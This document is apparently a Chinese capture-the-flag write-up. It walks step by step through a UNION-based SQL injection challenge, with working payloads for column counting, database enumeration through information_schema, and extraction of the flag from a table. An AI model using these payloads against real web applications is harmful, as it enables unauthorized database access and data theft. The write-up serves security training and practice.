解题步骤
- 根据注入位置数据类型将sql注入分类
- 利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3
- 利用 union select 联合查询
将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3
- 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 union select 1,database(),version()
- 利用 union select 联合查询,获取表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where` table_schema='已知库名'
- 利用 union select 联合查询,获取字段名(列名)
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where` table_name='已知表名'
- 利用 union select 联合查询,获取字段值
?id=-1 union select 1,2,group_concat(已知字段名,':',已知字段名) from 已知表名
按照步骤依次进行
1.利用order判断字段数,order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=-1 )' order by 3 --+
2.利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 )' union select 1,2,3 --+
爆出返回点
3.利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 )' union select 1,database(),version()--+
获取到数据库名和数据库版本号,分别是
note
和5.5.64-MariaDB-1ubuntu0.14.04.1
4.利用 union select 联合查询,获取表名
?id=-1 )' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='note' --+
获取到表名为fl4g
和notes
5.利用 union select 联合查询,获取字段名(列名)
?id=-1 )' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+
字段名为fllllag
6.利用 union select 联合查询,获取字段值
?id=-1 )' union select 1,2,fllllag from fl4g --+
成功获取到flag值为:n1book{union_select_is_so_cool}